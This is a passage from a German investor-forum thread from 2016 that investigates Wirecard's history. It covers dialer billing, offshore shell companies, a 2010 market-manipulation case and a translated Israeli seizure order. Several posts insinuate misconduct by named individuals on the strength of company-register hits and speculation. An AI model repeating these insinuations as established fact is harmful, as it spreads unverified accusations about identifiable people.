      Detailed dialer stats:
      https://secure1.i-billing.de/members/
      Use your BNB username and password to see your stats there.
      rates are HERE
      Payments for dialer will be sent together with your usual partnership payments (once a month).


      domain: i-billing.de
      descr: Stefan Greisl
      descr: Wire Card AG
      descr: Bretonischer Ring 4
      descr: 85630 Grasbrunn


      Rätsel über Rätsel...
      Avatar
      schrieb am 28.05.16 18:25:14
      Beitrag Nr. 104 ()
      MARCUS KRAY
      ist der "erfinder" der Tippfehlerstrategie
      https://insolvencies.wordpress.com/2011/05/19/lovely-mr-marc…
      You’ve noticed the typo in the Individual Insolvency Register? It is – according to our information – the strategy of Mr. Kray to use typos for hiding precise results when searching on the internet using well known search engines.


      Marcus Kray ist eine interessante Personalie. Leider nicht in den Panama Papers zu finden, nicht direkt. Er nutzte in Panama eine andere kanzlei.

      Mata & pitti
      http://ohuiginn.net/panama/person/MARCUS%20KRAY

      Es gibt vieles zu erzählen, zB

      Media Consulting Group AG, Sitz: Steinhausen, Domizil: Hinterbergstrasse 24, 6312 Steinhausen --> astropime --> Questnet, s.a. B.S. und die Dialer, Cremerbrüder, Q1, usw

      Callando, Callisa, bei keen gehostet, M.P. aus Binmgen, 435 North Dupont Highway , usw usf

      und natürlich, nicht zu vergessen:

      vvb, Adressbücher,

      Hypo Treuhand AG,
      David E Halverson oin Orgeon
      CSC in Delaware (natüüürlich)

      Millmead House Limited (UK-Gibraltar)

      Headquarter
      MILLMEAD HOUSE LTD
      Suite 2, Portland House
      Glacis Road
      Gibraltar
      Sales Office
      MILLMEAD HOUSE LTD.
      Suite 44,Millmead Business Centre
      Mill Mead Road, London N17 9QU
      England
      Avatar
      schrieb am 28.05.16 18:27:30
      Beitrag Nr. 105 ()
      https://opencorporates.com/companies/pa/461609

      MILLMEAD HOUSE INC.

      Company Number
      461609
      Status
      Vigente
      Incorporation Date
      2 September 2004 (over 11 years ago)
      Company Type
      SOCIEDAD ANONIMA
      Jurisdiction
      Panama
      Registered Address

      PROVINCIA PANAMÁ
      Panama

      Agent Name
      MATA & PITTI
      Directors / Officers

      HYPO TREUHAND AG, tesorero
      HYPO TREUHAND AG, director
      JOSE FRANCISCO CASTRELLON, suscriptor
      MARCUS KRAY, presidente
      MARCUS KRAY, director
      MATA & PITTI, agent
      PROVENTUM, S.A, secretario
      PROVENTUM, S.A, director
      ROBERTO DELGADO HERRERA, suscriptor
      Avatar
      schrieb am 31.05.16 00:55:28
      Beitrag Nr. 106 ()
      Kein Wunder also, dass Braun ganz heiß auf seinen Aktienkurs sei und die Firma stets für unterbewertet halte. Sobald also ein Investor die Marke von 30 Prozent überschreite und dieser entsprechend allen anderen Anteilseignern ein Kaufangebot unterbreite, würden bei Braun und seinen beiden anderen Vorstandskollegen massiv die Kassen klingeln.
      Aktuell werde Wirecard mit mehr als einer Milliarde Euro bewertet. Finde Braun einen Aufkäufer, der 1,5 Milliarden Euro für den Laden auf den Tisch blättere, erhalte das Trio insgesamt 18 Millionen Euro Cash - pro Kopf sechs Millionen Euro.

      1,2% mal 1.500.000.000 = 18 Mio
      1,2% mal 5.000.000.000 = 60 Mio
      1,2% mal 7.500.000.000 = 90 Mio (Kurs 61€)

      Braun bekommt 30 Mio Prämie, wenn das Unternehmen bei Verkauf 7,5 Milliarden MK hat ??
      Avatar
      schrieb am 01.06.16 23:35:16
      Beitrag Nr. 107 ()
      2010 - die Geschichte und die Geschichte hinter der Geschichte

      die Geschichte

      http://peketec.de/trading/wdi---wirecard-ag-daytraderkomment…
      2. Absturz der Wirecard-Aktie am 29. März 2010 um 32 Prozent
      Eine ähnliche Manipulation mit der Wirecard AG soll sich im März 2010 wiederholt haben. Der in München wohnende Bosler habe laut Hausdurchsuchungsbeschluss (Aktenzeichen 306 Js 30808/07) anfang diesen Jahres den Plan gefasst, gemeinsam mit Markus Straub und vielen anderen „durch einen konzertierten Angriff auf die Aktie der Wircecard AG, in deren Zentrum eine unrichtige Presseveröffentlichung steht, deren Kurs zu drücken und dank entsprechender Spekulationen einen erheblichen Gewinn zu erzielen.“
      Die Rechnung ging laut Durchsuchungsbeschluss wohl auch auf. Im Beschluss heißt es: „Der Beschuldigte Bosler konnte einen Gesamtgewinn von mindestens 400.000 Euro erzielen, der Gesamtgewinn aller Beschuldigten dürfte deutlich höher sein.“
      Und so sollen Bosler, Straub und Co. vorgegangen sein. Sie manipulierten zuerst Wallstreet : online, dann den Finanznachrichtendienst GoMoPa.net.
      Schritt Nummer 1: Wallstreet : online
      Im richterlichen Durchsuchungsbeschluss heißt es: „Auf Wallstreet : online wurden unter der AKA Abzocke (ein User-Name - Anmerkung der Redaktion) zumindest seit März 2010 negative Nachrichten über Wirecard eingestellt; es besteht der Verdacht, dass die hinter dieser AKA stehende Person einer der Beschuldigten ist oder mit den Beschuldigten kooperiert.“
      Schritt Nummer 2: GoMoPa.net
      Unter dem, wie sich später herausstellte, falschen Namen Wildmoser und einer falschen Adresse in Berlin-Neukölln schickte einer der Verdächtigen an GoMoPa.net eine angebliche Insiderinformation. GoMoPa.net möge sich doch bitte Mal bei der Münchener Staatsanwaltschaft I erkundigen, da gebe es bei einem Oberstaatsanwalt Wolfgang Natale eine Anzeige gegen die Wirecard AG wegen Geldwäscheverdachts.
      GoMoPa.net erkundigte sich sowohl bei der Pressesprecherin der Staatsanwaltschaft als auch bei der Sprecherin der Wirecard AG. Beide bestätigten die Richtigkeit dieser Information.
      Wildmoser informierte GoMoP.net weiter, dass der am 28. Februar 2010 in Naples (Florida) festgenommene mutmaßliche Auszahler illegaler Wettgewinne, Olaf Schütt, ein Geständnis abgelegt hätte, in dem er behauptet, mit zwei Vorständen der Wirecard AG zusammengearbeitet zu haben. Die Lokalzeitung in Naples hätte das Geständnis online veröffentlicht, habe es aber auf Druck der Schütt-Anwälte vom Netz nehmen müssen.
      GoMoPa.net fragte bei den Behörden in Florida nach und erfuhr, dass es ein mündliches Geständnis von Schütt gebe, aber eine Abschrift könne man nicht schicken. GoMoPa.net erhielt lediglich die Anklageschrift. Aus der ging hervor, dass die bayerische Wirecard Bank AG im Auftrag der englischen Immobilienfirma Bluetool Limited im vergangenen Jahr 5,7 Millionen US-Dollar (4,2 Millionen Euro) nach Florida an den dort lebenden Berliner Immoblienmakler Michael Olaf Schütt überwiesen haben soll. Allerdings, so das FBI, seien die Gelder nicht für Immobiliengeschäfte bestimmt gewesen, sondern hätten dazu gedient, illegale Gewinne aus verbotenen Glücksspielen in Online-Casinos auszuzahlen.
      Die Rechtsabteilung von Wircecard bestätigte gegenüber GoMoPa.net, dass es eine diesbezügliche Anfrage eines FBI-Agenten im Frühjahr 2010 an die Wircecard AG gegeben habe und sich Wirecard sofort von seinem Kunden Bluetool getrennt habe und das Konto Anfang März vorsorglich geschlossen hätte.
      GoMoPa.net-Meldung löste Kurssturz aus
      GoMoPa.net veröffentlichte daraufhin am 29. März 2010 die Meldung: "Wirecard Bank AG wegen Geldwäsche angezeigt." Die Aktie fiel daraufhin um 32 Prozent.
      Die Geldwäscheanzeige und die FBI-Ermittlungen bestätigten sich. Was sich allerdings auf nochmaliges intensives Nachfragen bei dem Gericht in Florida als falsch herausstellte, war die Behauptung, Schütt habe in seinem Geständnis die Wirecard-Vorstände belastet.
      Das entstammte der Falschinformation des angeblichen Insider-Informanten Wildmoser. Der war nach dem GoMoPa.net-Bericht nicht mehr erreichbar.



      die wahre (?) Geschichte hinter der Geschichte?

      anfang diesen Jahres den Plan gefasst, gemeinsam mit Markus Straub und vielen anderen „durch einen konzertierten Angriff auf die Aktie der Wircecard AG, in deren Zentrum eine unrichtige Presseveröffentlichung steht, deren Kurs zu drücken und dank entsprechender Spekulationen einen erheblichen Gewinn zu erzielen.“
      wann genau?
      -Das Haus von Schütt in Florida wurde im Februar 2010 von Spezialagenten gestürmt
      -Das US-Gerichtsdokument wurde am 17.2.2010 veröffentlicht
      -in einer Fußnote auf Seite 16 steht, dass Ultimate Bet Schecks via Wirecard an die Bluetool geschickt habe, die Gelder seien dann via Wirecard an Schuett ausgezahlt worden

      Die Rechtsabteilung von Wircecard bestätigte gegenüber GoMoPa.net, dass es eine diesbezügliche Anfrage eines FBI-Agenten im Frühjahr 2010 an die Wircecard AG gegeben habe und sich Wirecard sofort von seinem Kunden Bluetool getrennt habe und das Konto Anfang März vorsorglich geschlossen hätte.


      "vorsorglich"?
      Zu diesem Zeitpunkt sind keine Gelder mehr geflossen und Schütt saß im Knast!
      Die Monate vorher hat wirecard Schecks einer Pokerfirma weitergeleitet an eine Immobilienfirma.

      Da stimmt doch wohl etwas nicht!

      Und eine entscheidende Frage: ab wann hätten Straub und Bosler davon Kenntnis haben können, dass etwas im Busch ist?

      Antwort: spätestens (!) ab dem Zeitpunkt, zu dem es öffentlich im Internet stand!

      aber wann war das?

      Zur Erinnerung: der Crash erfolgte am 29. März 2010

      Bereits am 01. März 2010 gab es einen deutschen Artikel zur Festnahme von Schütt
      http://www.hochgepokert.com/2010/03/01/deutscher-geldwascher…

      Schon in den allerersten Kommentaren auf der Originalseite der "Naples News" postete jemand einen Hinweis auf usag24-Betrug (am 1. März 2010)

      dort gab es einen direkten Link zur Anklageschrift
      http://goo.gl/U9brf2
      am 2. März veröffentlichte Gomopa eine ausführliche Meldung dazu.

      zu diesem Zeitpunkt hatten mindestens die WestLB und wirecard sowie einige Leute bei Gomopa und USAG24-Betrug Kenntnis davon, dass es in Florida auch um die Wirecard geht

      ich weiß nicht, ob Straub oder Bosler gefragt wurden, woher und wann sie davon Kenntnis hatten. Aber es erscheint sehr unwahrscheinlich, dass Straub und Bosler bereits "Anfang des Jahres" (also womöglich vor den Polizeimaßnahmen in Florida) die Absicht gehabt haben können, konkret die Falschaussage zu machen ggü. Gomopa, Schütt habe die Wirecard direkt beschuldigt!

      Viel wahrscheinlicher wäre, dass es ihnen jemand gesteckt hat oder dass sie es erst aus den Nachrichten von Anfang März erfahren haben.

      Zwei Fragen ergeben sich:

      - warum wurde die Wirecard nie gefragt, warum das Konto erst gesperrt wurde, nachdem das FBI gefragt hat und nachdem die ganze kriminelle Handlung bereits abgeschlossen war. Welche Verpflichtungen hätten WestLB und wirecard gehabt in den Monaten zuvor? Wieso fiel bei der WestLB und/oder der Wirecard niemandem auf, dass Schecks in Millionenhöhe von einer Pokerfirma eingegangen sind und in die USA transferiert wurden?

      - welche Aktientransaktionen gab es zwischen dem Zeitpunkt, an dem wirecard (und WestLB) Kennntis von der Geschichte hatten und dem Crash am 29. März, auf den sich heute die Darstellung dieser Geschichte beschränkt und der ausgelöst worden sein soll durch die Gomopa-Falschmeldung?

      dazu zwei charts
      Einfaches Einfügen von wallstreetONLINE Charts: So funktionierts.


      und

      Einfaches Einfügen von wallstreetONLINE Charts: So funktionierts.


      für mich ergeben sich hier spannende Fragen. Schaut mal genau hin.
      Der zweite Chart ist noch deutlicher, denn dieser endet VOR dem "Crash"
      1 Antwort
      Avatar
      schrieb am 02.06.16 00:07:34
      Beitrag Nr. 108 ()
      Antwort auf Beitrag Nr.: 52.522.037 von jigajig am 01.06.16 23:35:16
      Zitat von jigajig: ich weiß nicht, ob Straub oder Bosler gefragt wurden, woher und wann sie davon Kenntnis hatten. Aber es erscheint sehr unwahrscheinlich, dass Straub und Bosler bereits "Anfang des Jahres" (also womöglich vor den Polizeimaßnahmen in Florida) die Absicht gehabt haben können, konkret die Falschaussage zu machen ggü. Gomopa, Schütt habe die Wirecard direkt beschuldigt!
      Viel wahrscheinlicher wäre, dass es ihnen jemand gesteckt hat oder dass sie es erst aus den Nachrichten von Anfang März erfahren haben.

      sorry, "dass ES ihnen jemand gesteckt hat" bezieht sich auf die ZUTREFFENDEN Informationen zum Fall Schütt, nicht auf die Aussage, Schütt habe wirecard direkt beschuldigt, die es wohl niemals gab
      Avatar
      schrieb am 02.06.16 00:24:42
      Beitrag Nr. 109 ()
      Jajaja, der user "Abzocke", der böse böse Mensch, der habe Straub und Bosler geholfen damals, jaja
      Hier ein Fullquote von damals von einem gewissen Jochen reichert
      18.03.10, 16:03 SES RESEARCH/ WARBURG GRUPPE
      Wirecard kaufen

      Hamburg (aktiencheck.de AG) - Der Analyst von SES Research, Jochen Reichert, stuft die Wirecard-Aktie (ISIN DE0007472060/ WKN 747206) nach wie vor mit dem Rating "kaufen" ein.

      In der Studie vom Juli 2008 ("What really matters") sei das Thema Gambling ausführlich untersucht worden. Die wesentlichen Schlussfolgerungen seien gewesen: Gambling und Adult Entertainment seien Internet-Pioniere und daher die ersten Geschäftsmodelle gewesen, die softwarebasiertes Risikomanagement und internetbasierte Zahlungsabwicklung benötigt hätten. Entsprechend sei vor 2004 der Anteil des Gambling-Transaktionsvolumens bei Wirecard deutlich über 50% gewesen.

      Wirecards's E-Wallet Click2Pay sei auf nahezu allen Casino- und Pokerplattformen als Zahlungsmittel zugelassen. Im Geschäftsjahr 2010e dürfte Click2Pay mit einem geschätzten Transaktionsvolumen von EUR 120 Mio. trotz der hohen Transaktionsmargen (mehr als 5%) eine untergeordnete Rolle spielen.

      Die Industrien E-Commerce und Airline/Travel dürften deutlich geringere Transaktionsmargen erzielen als Gambling. Wenn Gambling einen Anteil von rund 25% am Transaktionsvolumen habe, sollte der Anteil am EBIT deutlich mehr als 25% sein.

      Damit sei das "Risikoprofil" spätestens seit 2008 bekannt und daher nichts Neues. Gambling bilde weiterhin eine wichtige Säule für die Erträge und Cash Flows. Daher sei eine der wesentlichen Fragen, inwieweit durch rechtliche Restriktionen oder durch die Abwicklung von nicht MasterCard- oder Visa Card konformen Transaktionen die Stabilität und Nachhaltigkeit der Cash Flows aus Gambling-Geschäften gefährdet sein könnten. Das heiße, es gehe letztendlich um ein regulatorisches Risiko, dass die Kreditkartenorganisationen ihre Bestimmungen für Gambling ändern und bestimmte Transaktionen nicht mehr zulassen würden.

      Beispielsweise hätten die Kreditkartenorganisationen in den USA im Februar damit begonnen, Online-Gambling-Transaktionen zu unterbinden. Wirecard sollte davon nicht betroffen sein. Das regulatorische Risiko bestehe inhärent seit Erwerb der Banklizenz (zur Überwachung hierfür habe Wirecard eine eigene Compliance-Abteilung).

      Einige Argumente würden dafür sprechen, dass weltweit Gambling eher liberalisiert werde und gegenwärtig weltweit die Spitze in der Regulierung erreicht worden sei. Bei Poker handle es sich um Lifestyle-Produkte. Die Regierungen dürften zu der Einsicht gelangen, dass Internet-Poker durch Gesetze nicht zu unterbinden sei. Zudem seien innerhalb Europas Liberalisierungstendenzen zu erkennen (z.B. Italien, Spanien).

      Darüber hinaus dürften Regierungen nach neuen (oder alten) Einnahmenquellen suchen. Eine Gambling-Tax wäre für jedes Land eine nicht unerhebliche Einnahmequelle. Im "Schütt-Fall" sei bei der Wirecard Bank AG ein Konto eröffnet worden, das zu mutmaßlich illegalen Transaktionen genutzt worden sei. Zum einen sei nicht nur bei der Wirecard Bank AG ein Konto eingerichtet worden, sondern auch bei einer Reihe von US-amerikanischen und europäischen Banken. Zum anderen gebe es derzeit aus Sicht der Analysten keine Evidenz dafür, dass Wirecard aktiv in ein System illegaler Transaktionen involviert sei.

      Die momentan diskutierten Themen im Zusammenhang mit Gambling seien thematisch nichts Neues und seit Jahren bekannt. Für die Verwicklung in ein illegales Transaktionssystem gebe es bisher keine Evidenz.

      Die Analysten von SES Research bewerten die Wirecard-Aktie weiterhin mit "kaufen". Das Kursziel werde unverändert bei EUR 11,50 gesehen. (Analyse vom 18.03.2010) (18.03.2010/ac/a/t)

      Offenlegung von möglichen Interessenskonflikten: Das Wertpapierdienstleistungsunternehmen oder ein mit ihm verbundenes Unternehmen handeln regelmäßig in Aktien des analysierten Unternehmens. Weitere möglichen Interessenskonflikte können Sie auf der Site des Erstellers/ der Quelle der Analyse einsehen.

      18. März 2010!
      Schütt im Knast
      Millionen über wirecard abgerechnet
      aber alles ok für Reichert

      insofern wäre es dann doch wieder logisch gewesen, mit der Gomopa-Meldung einen draufzusetzen.

      aus heutiger Sicht spannend: was war eigentlich DAVOR? UIGEA war seit 2006 gültig. Wie legal waren die Transaktionen VOR Schütt?
      Avatar
      schrieb am 02.06.16 21:26:01
      Beitrag Nr. 110 ()
      Zitat von ho-hum:
      ...
      Schritt Nummer 1: Wallstreet : online
      Im richterlichen Durchsuchungsbeschluss heißt es: „Auf Wallstreet : online wurden unter der AKA Abzocke (ein User-Name - Anmerkung der Redaktion) zumindest seit März 2010 negative Nachrichten über Wirecard eingestellt

      Zitat von Abzocke: Also ich habe heute folgendes gelesen, wenn das mit Wirecard zusammenhängt, dann sieht es schlecht aus...

      Deutscher Casino - Treuhänder in Florida verhaftet....Bislang hat das FBI festgestellt, dass Schütt allein bei der Bank of America in den letzten drei Jahren mindestens 40 Konten eröffnet hat. Weiterhin eröffnete Schütt seit dem 1. November 2007 mehr als 60 Konten unter anderem bei Wachovia, Shamrock, CNL, Fifth Third und Northern Trust Bank of Miami. Über diese Konten wickelte Schütt seit 2007 telegrafische Schwarzgeldüberweisungen für 23.000 Online-Spieler vor allem in den USA mit einem Volumen von 70 Millionen Dollar (rund 52 Millionen Euro) ab.

      Die Konten liefen teils unter seinem Namen, teils unter dem Namen seiner direkten Firmen MCM Capital Management Corporation, MI Global Incorporation, South Naples Escrow Corporation, Southwest Florida Payroll Corporation, Woodhouse Systems, Mathews Trade Corporation und Internet Payment Services Group Incorporation. Über eine weitere Firma, die USAG24.com, die viele Deutsche aus dem Internet kennen, weil die Firma Hilfe verspricht, wenn man in den USA eine Firma gründen möchte, betrieb Schütt ein Netz von über 400 Tarnfirmen für die Glücksspiel-Geldwäsche.

      http://www.gomopa.net/Pressemitteilungen.html?id=427&meldung…

      Diese meldung war damals 16 Tage alt!
      Zitat von bragg: aber was genau hat der schütt mit wirecard zu tun?

      Zitat von xxx777: http://www.scribd.com/doc/28262676/Criminal-Court-Complaint-…
      schaut euch mal die
      Strafanzeige der FBI an!!!
      http://www.scribd.com/doc/28262676/Criminal-Court-Complaint-…
      der Schuett hat die Auszahlungen für die Wirecard Bank organisiert!!!
      [Anmerkung jigajig... nein! Das steht da so nicht drin!]
      Von wegen die wissen davon nix.
      das ist jetzt ne sehr heisse Kiste !!!!!

      Zitat von binda: Kannst Du bitte mal die Seitennr. aus diesem script nennen, wo der Name WIRECARD auftaucht. Außer in der Überschrift, finde ich nichts.[jigajig: totaler Quatsch!, aber evtl. falsches Dokument]

      Zitat von Ponyreiter: Das hat mit Wirecard nichts zum tun. Die dreht vielleicht heute sogar noch ins Plus.

      ...(das kann so gewesen sein, es stand freilich nicht so drin! Die Amis hatten in London mit ihren Ermittlungen aufgehört. Das steht drin.

      Zitat von scounce: mal hier meine übersetzung, ohne gewähr:
      "Laut der Webseite www.ultimatebet.com ("UB"), können U.S.-amerikanische Spiel[Kasino- was auch immer dieses ultimatebet eben war]-online-Kunden auf ihren UB Konten über ein Bankkonto der Wirecard Bank AG, Anschrift, Geld ein- und auszahlen.
      Die Kunden wurden angewiesen die Geldbeträge an ein Konto der Wirecard Bank AG zu überweisen. Kunden haben außerdem die Möglichkeit Auszahlungen von UB per Scheck zu erhalten. Laut den Bankunterlagen der IronStone Bank, sendet UB eine Überweisung über die Wirecard Bank zur Bluetool LTD. zur Verteilung der Schecks [an die jeweiligen Kunden]. Bankunterlagen belegen weiterhin, dass Schuett Beträge von der Bluetool LTD., über die Wirecard Bank, erhalten und Schecks an Dritte verteilt hat."
      Also ohne jetzt allzu viel hineinzuinterpretieren, aber geschrieben steht, dass auch hier die Wirecard Bank AG nicht irgendetwas bezichtigt wird, sondern viel mehr eine Beweiskette aufgeführt wird, die aufzeigt, dass das Geld über die Wirecard Bank AG an Bluetool LTD. und dann Hr. Schueck transferiert wurde.
      Das ist aber denke ich konsistent mit der Meinung einiger Forenuser hier (inkl. meiner), dass er nach bisherigem Kenntnisstand lediglich Bankkonten der Wirecard Bank AG verwendet hat, nicht aber direkt eine Beziehung zum Unternehmen (oder in deren Auftrag gehandelt) hat.

      Damals hätte man auch auf die Seite von Ultimatebet gehen können
      http://goo.gl/A6vi2l
      Avatar
      schrieb am 06.06.16 00:18:31
      Beitrag Nr. 111 ()
      ///entwurf///

      mein obiges Paintbeispiel wurde gar nicht mit paint erstellt, sondern mit irfan view. Aber da Du offenbar mehr wissen willst, werde ich es Dir gerne ausführlich erläutern.
      Freddy hat eine Firma bei Schütt unter seinem und Schütts Namen
      Er hat auch eine Firma bei Schütts USA24 unter dem falsch geschriebenen Namen Freddy K*. Im Dokument steht aber alles richtig, nur steht dann da Peter Harris statt Olaf Schütt
      kuckste hier
      http://search.sunbiz.org/Inquiry/CorporationSearch/ConvertTi…

      Freddy hat noch mehr Firmen dort
      KALDER, FREDDY P & G INVESTMENT SERVICE GROUP CORPORATION P06000056539
      KALDER, FREDDY UNITED ECONOMY & DEVELOPMENT CORPORATION P07000056965
      KALDER, FREDDY NATIONAL TRADE & INVESTMENT EXCHANGE CORPORATION P07000095035
      KALDER, FREDDY INTERNATIONAL PAYMENT SERVICES GROUP INC P07000098315

      Das hätte jeder Idiot gefunden, also auch ich.

      Zatarra hat aber auch das hier entdeckt:
      http://search.sunbiz.org/Inquiry/CorporationSearch/ConvertTi…

      Diese Firma taucht in einigen interessanten Dokumenten auf, z.B. als Gläubiger einer pleite gegangenen großen Abrechnungsfirma in den USA. Zusammen mit illustren anderen Gläubigern, die teilweise im selben Postfach ihr Briefkastenfirmendasein fristen wie eine gewisse "Bournewood". Na, so ist das halt als Briefkastenfirma kann man sich das nicht aussuchen.

      Der Rest der Geschichte steht bei Zatarra. EPF, Enterpayment usw

      Jochen Hochrein war nach seiner Wirecardzeit bei Enterpayment. Na gut, er hat 'ne Menge gemacht.
      https://www.moneyhouse.de/Jochen-Hochrein

      2008 wurde die Enterpayment umbenannt und bekam einen neuen GF, Herrn Wetzmüller

      Auch der hat viel gemacht:
      2006 und 2007 war er zusammen mit Jens Leinert bei der pay4, die später bei der BaFin auftaucht
      https://www.bafin.de/SharedDocs/Veroeffentlichungen/DE/Verbr…
      Die Pay4 GmbH ist in die Anbahnung, den Abschluss und die Abwicklung der ungesetzlichen Geschäfte der Bruma Service GmbH im Sinne des § 4 Abs. 1 Satz 4 Zahlungsdiensteaufsichtsgesetz (ZAG) einbezogen. Die BaFin hat daher gemäß § 4 Abs. 1 Satz 1 ZAG in Verbindung mit § 4 Abs. 1 Satz 4 ZAG die sofortige Einstellung dieser Geschäfte gegenüber der Pay4 GmbH sowie gegenüber deren Geschäftsführer Herrn Jens Leinert als Organ der Pay4 GmbH (§ 4 Abs. 1 Satz 4 Satz 4, 2. Halbsatz ZAG) angeordnet.

      aus 2012
      Bei meinem Vater werden/wurden vierteljährlich die 99,89 Euro über pay4/jetzt Bruma auf ein Wirecard Bank Konto abgebucht. Die Bank hat sich natürlich auch nicht auf meine Beschwerde hin gemeldet. Steckt bei fast allen pay4/Bruma Abbuchungen dahinter, also bei ca. 7 "Gewinnanbietern" allein bei meinem Vater.

      Oha.

      Wetzmüller pendelte immer irgendwie zwischen Pay4 und Enterpayment
      https://www.moneyhouse.de/Stephan-Wetzmueller

      ob das derselbe Wetzmüller ist, der mal sales manager bei der q-seven war?

      Upper Management: Mr. Philipp Kriependorf, President
      kriependorf@q-seven.com
      Sales Contact: Mr. Stephan Wetzmueller, Sales Manager
      (q-seven/Eurodebit-->EBS)

      Oder derselbe, der zusammen mit Helge Kiessler für die webtrade einem heutigen FDP-Politiker dabei zugesehen haben könnte, wie er aus dem Fenster eines Hotels auf Mallorca in den Pool darunter sprang? ("Heldenhaft, da waren nur eineinhgalb Meter Wasser drin", wie Augenzeugen berichteten) (das war ungefähr 2004 und ich bin mir bis heute nicht sicher, ob in dem pool wirklich Wasser war, wenn ich mir diesen FDP-Politiker anschaue, aber gut, anderes Thema)

      Helge Kiessler wiederum war als GF der Retiarius tätig, die wiederum im Israelischen Geldwäscheprozess eine Rolle spielt, wo wiederum Knöchelmann auftaucht.

      Ich glaube, emien Grafik war übersichtlicher, aber hedge8 mochte sie nicht :(

      Helge Kiessler wiederum war bei der Genpage Holding, zu der webtrade und inatec gehörten, mit denen Wirecard laut Eigenauskunft nichts zu tun hat. Nichts zu tun hat. Gegenwart. Das ist richtig.

      https://www.moneyhouse.de/Genpag-e-Holding-AG-Frankfurt-am-M…

      da steht der Name "Jörg Sahlmann", Vorstand ab Juni 2007.

      ach ja, dann gab es noch die mywebtrade, GF Torsten Doppler und Markus Pfeiffer

      auf der dazu gehgörigen Webseite der mywebtrade stand zwischenzeitlich webtrade.

      alles nicht so einfach.

      was wollte ich noch zu Sahlamnn sagen? Der GF der Genpage war später auch mal bei evalue, wo er wiederum den Herrn Rührborn getroffen haben dürfte.

      alles etwas verwirrend. Bilder sind da einfacher.
      Avatar
      schrieb am 19.06.16 19:48:01
      Beitrag Nr. 112 ()
      evakuierter Inhalt aus anderem posting

      VISA Processing Service India steht auch da
      Am 18.11.2014 verkündete Wirecard
      As part of the partnership, Wirecard and Visa Inc. today announce an agreement by which Wirecard will acquire certain assets of Visa Processing Service (VPS), headquartered in Singapore, and acquire all shares in Visa Processing Services (India) Private Limited for US $16 million; further terms were not disclosed. The agreement is subject to certain closing conditions.

      weiter:
      Visa Processing Service[] is active in seven countries with a customer-base of 14 financial institutions and more than three million cardholders amongst more than 70 card programs. VPS provides financial institutions with an integrated solution for gift cards, general purpose reloadable (GPR) cards, single or multi-currency travel cards as well as money remittance.

      Damit ist wohl die Firma in Singapore gemeint.
      http://ir.wirecard.com/websites/wc/English/3150/financial-ne…

      Im Jahresbericht, S. 166, steht nun, man habe Visa Processing Service[] (Singapore) und Visa Processing Service[] (India) gekauft. Ansonsten steht da dasselbe. Inzwischen heißt die Firma ja "Wirecard India Private Limited" und das "s" hat man inzwischen gestrichen.
      Kleinigkeiten zwar, aber... sie erwecken bei mir den Eindruck, dass es irgendjemand bei der Wirecard nicht sehr genau nimmt mit den Firmennamen.

      Die "Wirecard India" hat 2015 (Rumpfjahr) ein Ergebnis von 723TE erwirtschaftet.

      Im April 2016 tauchte VPS wieder auf:
      Wirecard Singapore Pte Ltd, a Wirecard Group company, has been approved as a Principal Member of Visa Inc. as the first non-Financial Institution members in Singapore. This move is a continuation of Wirecard’s strategic partnership with Visa Inc. in Asia Pacific to enable easier access to prepaid card issuing for parties across the ecosystem, following the acquisition of Visa Processing Services (VPS) in 2015.

      Von welcher Firma ist da jetzt die Rede? Oben war VPS = Visa Processing Service[]
      Das "s" ist also plötzlich wieder da, das vorher bei der Visa Processing Service zu viel war.
      Bei Bloomberg ist das ominöse "s" wieder da - in Indien:
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      Die früheren Mitarbeiter der VISA waren nun bei wirecard.

      Bei der SEC stehen die Tochterunternehmen von VISA auch richtig drin
      Visa Processing Service (India) Private Limited India
      Visa Processing Service Pte. Limited Singapore

      Es gab da nie ein "s". Das gibt es nur bei der Wirecard (siehe auch Linkprofile)
      Ich weiß auch, warum :)

      Ich bin kleinlich. Ich weis dass. Das kommt daher, das es sich als wichtig erweisst, genau auf dass s aufzupasen. Ist wie Sauerstoff. Zu wenig ist nichts, zu viel auch nicht.

      2015 wurden reveneues der Wirecard India Pte konsolidiert, die seit 23.2.2015 zur wirecard gehört (85% des Jahres). Laut GB S. 166:
      consolidated revenues in 2015: 3,263 TE,
      consolidated EBITDA 1,139 TE
      consolidated earnings after taxes 171TE.

      Zahlen für das volle Jahr (inkl 1.1.-22.2.2015):
      revenues 3,631
      earnings after taxes 242 TE

      2016 wird man dann sehen.

      Kaufpreis: 14162 TE, Goodwill 7980TE, customer relations 6001TE. Für Visa perocessing Service India. Gesamtdealgröße inkl. der assets für VPS Singapore: 16Mio US$.

      Visa hat übrigens 2015 ein Technologiezentrum in Indien eröffnet
      http://www.businesswire.com/news/home/20150805005526/en/Visa…

      Ich verstehe VISA einfach nicht.
      Avatar
      schrieb am 19.06.16 20:46:57
      Beitrag Nr. 113 ()
      google translation hebrew to english
      http://www.takdin.co.il/searchg/%D7%A6%20%D7%90%20%D7%AA%D7%…

      ZE (Tel Aviv) 20269-04-15 - The State of Israel v Boaz Chechick et al
      ZE (Tel Aviv) 20269-04-15
      State of Israel
      Through the State Attorney's Office - Economic Department
      Attorney Eran builder
      V d
      1. Boaz Chechick
      Represented by attorney Nuit Negev
      2. Steve Greenspan
      3. Shay Ben Asulin
      4. Dganit Basha
      Respondents 3 and 4 represented by attorney Ruth Litvak, and Mr. Moti Lazar
      5. Dietmar Knoclmn
      Represented by Ronen foam
      Union Bank of Israel Ltd.
      Represented by b. Levinbook Co., Advocates
      District Court of Tel-Aviv-Jaffa
      [06/22/2015]
      Daniella Shirazi to Justice
      decision

      Light of the parties' announcement, canceled the scheduled hearing date 23/06/15.
      Present agreements the parties said today, I hereby order as follows:
      With respect to Respondent 1, and Union Bank Ltd:
      With the consent of the applicant, counsel for the respondent 1 and representatives of the Union Bank, is hereby temporary forfeiture order concerning his rights only 1 respondent's property in the message to the parties. I give agreement in the message dated today validity of the decision.
      To the respondents 3 and 4:
      I extended the temporary seizure order when it comes to purchase respondents as specified in the original application, except for property already released, except for bank accounts in the message / request dated today, subsections A and B, which are free of. The injunction until after a decision at the hearing. There is no agreement or decision to damage or diminish the rights and the claims of the respondents or any other third party.
      With respect to Respondent 5:
      I prolonging consent of the parties above the temporary order granted by the Court on 15/04/15, and the validity of the amended order dated 04.26.15, seizure of assets of replies 5, and so, to a different decision. The parties reserve the right to claim in relation to the rights of occupied properties, as it is decided to file an indictment against respondent 5 after the hearing. You can agree validity of the decision.
      The Secretariat will inform the parties above.


      Issued today, the Tammuz nine years, 22 Jun 2015 in the absence of the parties.
      Avatar
      schrieb am 24.06.16 22:39:33
      Beitrag Nr. 114 ()
      Zitat von jigajig: @Kilworthy Limited
      Fortuna Gaming SRL
